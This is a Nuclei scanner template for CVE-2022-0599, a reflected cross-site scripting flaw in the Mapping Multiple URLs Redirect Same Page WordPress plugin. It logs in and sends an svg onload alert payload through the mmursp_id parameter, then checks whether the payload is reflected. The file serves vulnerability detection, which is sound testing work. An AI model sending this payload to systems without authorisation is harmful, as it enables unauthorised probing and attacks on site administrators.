nuclei-templates/cves/2022/CVE-2022-0599.yaml

47 lines
1.5 KiB
YAML
Raw Normal View History

2022-08-06 09:03:11 +00:00
id: CVE-2022-0599
info:
name: Mapping Multiple URLs Redirect Same Page <= 5.8 - Cross-Site Scripting
2022-08-06 09:03:11 +00:00
author: scent2d
severity: medium
description: |
The Mapping Multiple URLs Redirect Same Page WordPress plugin through 5.8 does not sanitize and escape the mmursp_id parameter before outputting it back in an admin page, leading to a Reflected Cross-Site Scripting.
reference:
- https://wpscan.com/vulnerability/4f1d45bc-d3bd-472c-959d-05abeff32765
2022-08-08 17:38:17 +00:00
- https://wordpress.org/plugins/mapping-multiple-urls-redirect-same-page/
2022-08-06 09:03:11 +00:00
- https://nvd.nist.gov/vuln/detail/cve-2022-0599
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2022-0599
cwe-id: CWE-79
tags: cve,cve2022,wordpress,wp-plugin,xss,wp,authenticated,wpscan
2022-08-06 09:03:11 +00:00
requests:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
- |
2022-08-06 09:24:52 +00:00
GET /wp-admin/admin.php?page=mmursp-list&view=edit&mmursp_id="><svg/onload=alert(document.domain)> HTTP/1.1
2022-08-06 09:03:11 +00:00
Host: {{Hostname}}
cookie-reuse: true
req-condition: true
2022-08-08 17:38:17 +00:00
matchers-condition: and
2022-08-06 09:03:11 +00:00
matchers:
2022-08-08 17:38:17 +00:00
- type: word
part: body
words:
- 'id="mmursp_id" value="\"><svg/onload=alert(document.domain)>" />'
2022-08-06 09:03:11 +00:00
- type: dsl
dsl:
- 'status_code_2 == 200'
- 'contains(all_headers_2, "text/html")'
condition: and